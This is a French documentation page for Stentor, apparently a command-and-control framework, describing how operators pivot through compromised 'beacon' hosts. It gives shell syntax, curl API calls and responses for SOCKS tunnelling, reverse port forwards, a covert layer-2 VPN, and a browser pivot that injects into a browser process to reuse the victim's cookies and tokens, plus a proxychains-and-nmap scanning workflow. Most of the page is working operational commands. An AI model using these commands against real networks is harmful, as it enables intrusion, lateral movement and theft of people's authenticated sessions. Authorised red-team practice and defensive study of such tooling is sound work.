Opérations réseau¶

Stentor fournit une suite complète de commandes de pivotement de réseau, de tunneling et de transport qui permettent aux opérateurs d'acheminer le trafic via des hôtes compromis vers des segments de réseau autrement inaccessibles. Cette page documente chaque commande de beacon liée au réseau avec une syntaxe complète, des exemples d'API et des conseils OPSEC.

Aperçu¶

Les opérations réseau transforment un beacon en un point pivot, reliant les outils de l'opérateur au réseau interne de la cible. Le trafic circule via le canal C2, encapsulé dans la communication d'enregistrement normale du beacon.

graph LR
    A[Operator Tools<br/>nmap, proxychains,<br/>Burp, browser] --> B[Stentor Server<br/>:8082]
    B -->|C2 Channel<br/>HTTP / DNS / SMB| C[Relay Agent<br/>Kali]
    C -->|Listener Transport| D[Beacon<br/>Target Host]
    D --> E{Pivot Type}
    E -->|SOCKS5| F[Internal Network<br/>Any TCP Service]
    E -->|rportfwd| G[Specific Host:Port]
    E -->|Covert VPN| H[Layer 2 Bridge<br/>Full Network Access]
    E -->|Browser Pivot| I[Browser Sessions<br/>Cookies & Tokens]

    style A fill:#6a1b9a,color:#fff
    style B fill:#4a148c,color:#fff
    style C fill:#311b92,color:#fff
    style D fill:#1a237e,color:#fff
    style E fill:#0d47a1,color:#fff
    style F fill:#01579b,color:#fff
    style G fill:#01579b,color:#fff
    style H fill:#01579b,color:#fff
    style I fill:#01579b,color:#fff

Comparaison des techniques de pivotement¶

Proxy SOCKS¶

Démarrez un serveur proxy SOCKS5 (ou SOCKS4a) sur le serveur d'équipe qui tunnelise tout le trafic via le beacon. Les outils de l'opérateur se connectent au port SOCKS du serveur d'équipe et le beacon relaie le trafic vers le réseau interne de la cible.

socks <port>¶

Démarrez un proxy SOCKS sur le serveur d'équipe lié à <port>. Le trafic reçu sur ce port est encapsulé via le canal C2 vers le beacon, qui fait office de nœud de sortie vers le réseau interne.

Syntaxe du shell :

socks 1080

Exemple d'API :

curl -s -X POST https://stentor.app/api/v1/cockpit/socks/start \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "beacon_id": "BEACON_UUID",
    "port": 1080
  }'

Réponse :

{
  "status": "started",
  "beacon_id": "BEACON_UUID",
  "port": 1080,
  "version": "socks5"
}

Options avancées :

socks stop¶

Arrêtez le proxy SOCKS pour un beacon.

Syntaxe du shell :

socks stop

Exemple d'API :

curl -s -X POST https://stentor.app/api/v1/cockpit/socks/stop \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "beacon_id": "BEACON_UUID"
  }'

Exemple d'utilisation : proxychains avec nmap¶

Acheminez nmap via le tunnel SOCKS pour analyser les hôtes internes :

# 1. Start SOCKS proxy on teamserver port 1080
socks 1080

# 2. Configure proxychains on operator workstation
echo "socks5 127.0.0.1 1080" >> /etc/proxychains4.conf

# 3. Scan internal network through the tunnel
proxychains nmap -sT -Pn -p 445,3389,22 10.10.10.0/24

Liste des proxys SOCKS actifs¶

curl -s https://stentor.app/api/v1/cockpit/socks \
  -H "Authorization: Bearer $TOKEN"

Redirection de port inversée¶

Les transferts de port inversés créent des tunnels ciblés entre des hôtes et des ports spécifiques. Deux variantes sont disponibles : rportfwd (liaison côté serveur d'équipe, transfert côté serveur d'équipe) et rportfwd_local (liaison côté serveur d'équipe, transfert côté beacon).

Internal Host -> Beacon:bind_port -> C2 Channel -> Teamserver -> forward_host:forward_port

rportfwd 8080 127.0.0.1 80

curl -s -X POST https://stentor.app/api/v1/cockpit/portfwd/start \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "beacon_id": "BEACON_UUID",
    "bind_port": 8080,
    "dest_addr": "127.0.0.1:80"
  }'

{
  "status": "started",
  "beacon_id": "BEACON_UUID",
  "bind_port": 8080,
  "dest_addr": "127.0.0.1:80"
}

rportfwd stop 8080

curl -s -X POST https://stentor.app/api/v1/cockpit/portfwd/stop \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "beacon_id": "BEACON_UUID",
    "bind_port": 8080
  }'

Operator Tools -> Teamserver:bind_port -> C2 Channel -> Beacon -> Target

rportfwd_local 3306

curl -s -X POST https://stentor.app/api/v1/cockpit/portfwd/start_local \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "beacon_id": "BEACON_UUID",
    "bind_port": 3306
  }'

{
  "status": "started",
  "beacon_id": "BEACON_UUID",
  "bind_port": 3306,
  "local": true
}

rportfwd_local stop 3306

curl -s -X POST https://stentor.app/api/v1/cockpit/portfwd/stop_local \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "beacon_id": "BEACON_UUID",
    "bind_port": 3306
  }'

Comparaison des flux de trafic¶

sequenceDiagram
    participant IH as Internal Host
    participant B as Beacon
    participant C2 as C2 Channel
    participant TS as Teamserver
    participant OP as Operator Tools

    Note over IH,OP: rportfwd (Remote Bind)
    IH->>B: Connect to beacon:bind_port
    B->>C2: Encapsulate traffic
    C2->>TS: Deliver to teamserver
    TS->>TS: Forward to dest_addr

    Note over IH,OP: rportfwd_local (Local Bind)
    OP->>TS: Connect to teamserver:bind_port
    TS->>C2: Encapsulate traffic
    C2->>B: Deliver to beacon
    B->>IH: Connect to target

Répertorier les transferts de ports actifs¶

# List all active port forwards
curl -s https://stentor.app/api/v1/cockpit/portfwd \
  -H "Authorization: Bearer $TOKEN"

# List port forwards for a specific beacon
curl -s https://stentor.app/api/v1/cockpit/portfwd/BEACON_UUID \
  -H "Authorization: Bearer $TOKEN"

VPN secret¶

Créez un tunnel VPN de couche 2 via le beacon, reliant le réseau de l'opérateur au segment de réseau de la cible. Cela crée une interface TAP sur le serveur d'équipe qui fournit un accès complet au niveau Ethernet au réseau cible.

covertvpn <interface> <ip> [mtu]¶

Démarrez un tunnel VPN secret via le beacon.

Syntaxe du shell :

covertvpn tap0 10.0.0.200
covertvpn tap0 10.0.0.200 1400

Exemple d'API :

curl -s -X POST https://stentor.app/api/v1/cockpit/covertvpn/start \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "beacon_id": "BEACON_UUID",
    "interface": "tap0",
    "ip": "10.0.0.200",
    "mtu": 1400,
    "channel": "tcp_bind"
  }'

Réponse :

{
  "status": "started",
  "beacon_id": "BEACON_UUID",
  "interface": "tap0",
  "ip": "10.0.0.200",
  "mtu": 1400,
  "channel": "tcp_bind"
}

Options de chaîne :

Options supplémentaires :

covertvpn stop¶

Démontez le tunnel VPN et supprimez l'interface TAP.

Syntaxe du shell :

covertvpn stop

Exemple d'API :

curl -s -X POST https://stentor.app/api/v1/cockpit/covertvpn/stop \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "beacon_id": "BEACON_UUID"
  }'

Liste des tunnels VPN actifs¶

curl -s https://stentor.app/api/v1/cockpit/covertvpn \
  -H "Authorization: Bearer $TOKEN"

Pivot du navigateur¶

Injecter dans un processus navigateur pour hériter de ses sessions authentifiées (cookies, tokens, certificats clients TLS). Le beacon crée un proxy HTTP local vers lequel l'opérateur peut pointer son navigateur pour utiliser les sessions Web de la cible.

browserpivot <pid> [arch]¶

Démarrez un pivot de navigateur en injectant dans le processus de navigateur spécifié.

Syntaxe du shell :

browserpivot 4528
browserpivot 4528 x86

Exemple d'API :

curl -s -X POST https://stentor.app/api/v1/cockpit/browserpivot/start \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "beacon_id": "BEACON_UUID",
    "port": 8888,
    "pid": 4528,
    "arch": "x64"
  }'

Réponse :

{
  "status": "started",
  "beacon_id": "BEACON_UUID",
  "port": 8888,
  "pid": 4528
}

browserpivot stop¶

Arrêtez le pivot du navigateur et nettoyez le code injecté.

Syntaxe du shell :

browserpivot stop

Exemple d'API :

curl -s -X POST https://stentor.app/api/v1/cockpit/browserpivot/stop \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "beacon_id": "BEACON_UUID"
  }'

Répertorier les pivots de navigateur actifs¶

curl -s https://stentor.app/api/v1/cockpit/browserpivot \
  -H "Authorization: Bearer $TOKEN"

Flux de travail d'utilisation¶

1. Énumérez les processus du navigateur sur la cible : ps (recherchez chrome.exe, msedge.exe, iexplore.exe)
2. Démarrez le pivot du navigateur : browserpivot <browser_pid>
3. Configurez votre navigateur local pour utiliser le proxy : teamserver_ip:8888
4. Parcourez les applications Web internes à l'aide des sessions authentifiées de la cible

Mode de transport¶

Changez le mode du canal de données DNS sur un beacon DNS. Cela contrôle la manière dont les données de beacon sont codées dans les requêtes DNS.

mode <dns|dns6|dns-txt>¶

Modifiez le mode de codage du canal de données DNS.

Syntaxe du shell :

mode dns-txt
mode dns
mode dns6

Exemple d'API :

curl -s -X POST https://stentor.app/api/v1/cockpit/shell \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "beacon_id": "BEACON_UUID",
    "command": "mode dns-txt"
  }'

Points de terminaison associés¶

Journalisation¶

Activez la journalisation détaillée du trafic pour un proxy SOCKS :

curl -s -X PUT https://stentor.app/api/v1/cockpit/socks/logging \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "beacon_id": "BEACON_UUID",
    "port": 1080,
    "enabled": true
  }'

Interrogation de l'état du tunnel¶

Tous les tunnels actifs (SOCKS, transferts de port, pivots de navigateur, VPN) peuvent être interrogés via leurs points de terminaison de liste respectifs :

Chacun prend également en charge une requête par beacon : GET /api/v1/cockpit/{type}/{beaconId}.